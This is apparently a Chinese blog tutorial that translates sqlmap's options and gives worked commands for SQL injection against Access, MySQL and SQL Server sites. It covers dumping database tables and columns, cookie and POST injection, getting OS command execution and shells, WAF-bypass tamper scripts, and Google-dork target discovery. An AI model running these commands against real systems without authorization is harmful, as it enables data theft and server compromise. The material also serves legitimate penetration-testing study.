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SQLMAP详解+实战操作命令

WEB安全 Mat 6531浏览 0评论

SQLMAP是一款基于python开发的SQL注入工具,几乎支持现在所有的数据库,功能非常强大。由于是国外的产品,所以对于我这种英语水平不高的菜鸟来说,使用起来会有点困难。虽然现在已经能熟练使用大部分功能了,但还是把中文解释贴过来,方便以后使用。

Options(选项):

–version 显示程序的版本号并退出

-h, –help 显示此帮助消息并退出

-v VERBOSE 详细级别:0-6(默认为1)

Target(目标):

以下至少需要设置其中一个选项,设置目标URL。

-d DIRECT 直接连接到数据库。

-u URL, –url=URL 目标URL。

-l LIST 从Burp或WebScarab代理的日志中解析目标。

-r REQUESTFILE 从一个文件中载入HTTP请求。

-g GOOGLEDORK 处理Google dork的结果作为目标URL。

-c CONFIGFILE 从INI配置文件中加载选项。

Request(请求):

这些选项可以用来指定如何连接到目标URL。

–data=DATA 通过POST发送的数据字符串

–cookie=COOKIE HTTP Cookie头

–cookie-urlencode URL 编码生成的cookie注入

–drop-set-cookie 忽略响应的Set – Cookie头信息

–user-agent=AGENT 指定 HTTP User – Agent头

–random-agent 使用随机选定的HTTP User – Agent头

–referer=REFERER 指定 HTTP Referer头

–headers=HEADERS 换行分开,加入其他的HTTP头

–auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)

–auth-cred=ACRED HTTP身份验证凭据(用户名:密码)

–auth-cert=ACERT HTTP认证证书(key_file,cert_file)

–proxy=PROXY 使用HTTP代理连接到目标URL

–proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)

–ignore-proxy 忽略系统默认的HTTP代理

–delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒

–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)

–retries=RETRIES 连接超时后重新连接的时间(默认3)

–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式

–safe-url=SAFURL 在测试过程中经常访问的url地址

–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL

Optimization(优化):

这些选项可用于优化SqlMap的性能。

-o 开启所有优化开关

–predict-output 预测常见的查询输出

–keep-alive 使用持久的HTTP(S)连接

–null-connection 从没有实际的HTTP响应体中检索页面长度

–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)

Injection(注入):

这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。

-p TESTPARAMETER 可测试的参数(S)

–dbms=DBMS 强制后端的DBMS为此值

–os=OS 强制后端的DBMS操作系统为这个值

–prefix=PREFIX 注入payload字符串前缀

–suffix=SUFFIX 注入payload字符串后缀

–tamper=TAMPER 使用给定的脚本(S)篡改注入数据

Detection(检测):

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

–level=LEVEL 执行测试的等级(1-5,默认为1)

–risk=RISK 执行测试的风险(0-3,默认为1)

–string=STRING 查询时有效时在页面匹配字符串

–regexp=REGEXP 查询时有效时在页面匹配正则表达式

–text-only 仅基于在文本内容比较网页

Techniques(技巧):

这些选项可用于调整具体的SQL注入测试。

–technique=TECH SQL注入技术测试(默认BEUST)

–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

–union-cols=UCOLS 定列范围用于测试UNION查询注入

–union-char=UCHAR 用于暴力猜解列数的字符

Fingerprint(指纹):

-f, –fingerprint 执行检查广泛的DBMS版本指纹

Enumeration(枚举):

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己

的SQL语句。

-b, –banner 检索数据库管理系统的标识

–current-user 检索数据库管理系统当前用户

–current-db 检索数据库管理系统当前数据库

–is-dba 检测DBMS当前用户是否DBA

–users 枚举数据库管理系统用户

–passwords 枚举数据库管理系统用户密码哈希

–privileges 枚举数据库管理系统用户的权限

–roles 枚举数据库管理系统用户的角色

–dbs 枚举数据库管理系统数据库

–tables 枚举的DBMS数据库中的表

–columns 枚举DBMS数据库表列

–dump 转储数据库管理系统的数据库中的表项

–dump-all 转储所有的DBMS数据库表中的条目

–search 搜索列(S),表(S)和/或数据库名称(S)

-D DB 要进行枚举的数据库名

-T TBL 要进行枚举的数据库表

-C COL 要进行枚举的数据库列

-U USER 用来进行枚举的数据库用户

–exclude-sysdbs 枚举表时排除系统数据库

–start=LIMITSTART 第一个查询输出进入检索

–stop=LIMITSTOP 最后查询的输出进入检索

–first=FIRSTCHAR 第一个查询输出字的字符检索

–last=LASTCHAR 最后查询的输出字字符检索

–sql-query=QUERY 要执行的SQL语句

–sql-shell 提示交互式SQL的shell

Brute force(蛮力):

这些选项可以被用来运行蛮力检查。

–common-tables 检查存在共同表

–common-columns 检查存在共同列

User-defined function injection(用户自定义函数注入):

这些选项可以用来创建用户自定义函数。

–udf-inject 注入用户自定义函数

–shared-lib=SHLIB 共享库的本地路径

File system access(访问文件系统):

这些选项可以被用来访问后端数据库管理系统的底层文件系统。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件

–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件

–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

Operating system access(操作系统访问):

这些选项可以用于访问后端数据库管理系统的底层操作系统。

?

–os-cmd=OSCMD 执行操作系统命令

–os-shell 交互式的操作系统的shell

–os-pwn 获取一个OOB shell,meterpreter或VNC

–os-smbrelay 一键获取一个OOB shell,meterpreter或VNC

–os-bof 存储过程缓冲区溢出利用

–priv-esc 数据库进程用户权限提升

–msf-path=MSFPATH Metasploit Framework本地的安装路径

–tmp-path=TMPPATH 远程临时文件目录的绝对路径

Windows注册表访问:

这些选项可以被用来访问后端数据库管理系统Windows注册表。

–reg-read 读一个Windows注册表项值

–reg-add 写一个Windows注册表项值数据

–reg-del 删除Windows注册表键值

–reg-key=REGKEY Windows注册表键

–reg-value=REGVAL Windows注册表项值

–reg-data=REGDATA Windows注册表键值数据

–reg-type=REGTYPE Windows注册表项值类型

General(一般):

这些选项可以用来设置一些一般的工作参数。

-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中

-s SESSIONFILE 保存和恢复检索会话文件的所有数据

–flush-session 刷新当前目标的会话文件

–fresh-queries 忽略在会话文件中存储的查询结果

–eta 显示每个输出的预计到达时间

–update 更新SqlMap

–save file保存选项到INI配置文件

–batch 从不询问用户输入,使用所有默认配置。

Miscellaneous(杂项):

–beep 发现SQL注入时提醒

–check-payload IDS对注入payloads的检测测试

–cleanup SqlMap具体的UDF和表清理DBMS

–forms 对目标URL的解析和测试形式

–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果

–page-rank Google dork结果显示网页排名(PR)

–parse-errors 从响应页面解析数据库管理系统的错误消息

–replicate 复制转储的数据到一个sqlite3数据库

–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址

–wizard 给初级用户的简单向导界面

SQLMAP实战操作:

1.ACCESS数据库:

sqlmap.py -u “url” /*-u为常规扫描参数*/

sqlmap.py -u “url” –tables /*–tables拆数据库表*/

sqlmap.py -u “url” –columns -T “要拆的表名”/*列出指定表名*/

sqlmap.py -u “url” –dump -T “要拆的表名”-C “要拆的字段名” /*–dump为拆解字段名会保存在sqlmap/output目录下*/

2.MYSQL数据库:

sqlmap.py -u “url” /*扫描注入点*/

sqlmap.py -u “url” –dbs /*列出所有数据库*/

sqlmap.py -u “url” –current-db /*列出当前数据库*/

sqlmap.py -u “url” –current-user /*列出当前用户*/

sqlmap.py -u “url” –tables -D “当前数据库名” /*拆解当前数据库表*/

sqlmap.py -u “url” –columns -T “要拆得的表名” -D “当前数据库名” /*拆解指定表字段名*/

sqlmap.py -u “url” –dump -C “字段名” -T “表名” -D “当前数据库”

3.SQLSERVER数据库:

sqlmap.py -u “url” /*扫描注入点*/

sqlmap.py -u “url” –dbs /*列出所有数据库*/

sqlmap.py -u “url” –current-db /*列出当前数据库*/

sqlmap.py -u “url” –current-user /*列出当前用户*/

sqlmap.py -u “url” –tables -D “当前数据库名” /*拆解当前数据库表*/

sqlmap.py -u “url” –columns -T “要拆得的表名” -D “当前数据库名” /*拆解指定表字段名*/

sqlmap.py -u “url” –dump -C “字段名” -T “表名” -D “当前数据库”

SQLSERVER操作和MYSQL是一样的!!!常见的几种数据库!!!

4.COOKIE注入:

sqlmap.py -u “www.xxx.com/asp或者www.xxx.com/php”?–cookie “参数名如id=1” –level 2/*level为提升权限*/

什么数据库就按照上面的数据库加上cookie语句拆解就行了

5.POST注入:

抓包保存到SQLMAP目录下.txt的文件然后输入指令sqlmap.py -r xxx.txt /*xxx.txt为保存包文件的文件名”

sqlmap.py -u “url” –data “POST参数”

6.执行shell命令:

sqlmap.py -u “url” –os-cmd=”net user” /*执行net user命令*/

sqlmap.py -u “url” –os-shell /*系统交互的shell*/

7.注入HTTP请求 :

sqlmap.py -r xxx.txt –dbs /*xxx.txt内容为HTTP请求*/

8.绕过WAF的tamper插件使用:

sqlmap.py -u “url” –tamper “xxx.py”

sqlmap.py -u “url” –tamper=”xxx.py”

关于tamper脚本详细说明在本博客中有,链接为:http://www.matsec.cn/?id=5

9.将注入语句插入到指定位置:

sqlmap.py -u “url(www.xxx.com/id/1*.html)”?–dbs

有些网站是采用伪静态的页面使用SQLMAP的普通注入是不行的,所以SQLMAP提供了”*”参数将SQL语句插入指定位置,一般用于伪静态注入。

在使用HTTP注入时使用-r参数也可以直接在文本中添加*号

10.延时注入:

sqlmap –dbs -u “url” –delay 0.5 /*延时0.5秒*/

sqlmap –dbs -u “url” –safe-freq /*请求2次*/

11.使用谷歌语法搜索注入(Google hack):

sqlmap.py -g “inurl:asp?id=1” /*””内为搜索语法,如:inurl,intitle,site,filetype等等

我朋友CV总结了很多可以参考一下:http://blog.csdn.net/wsh19930305/article/details/62247962

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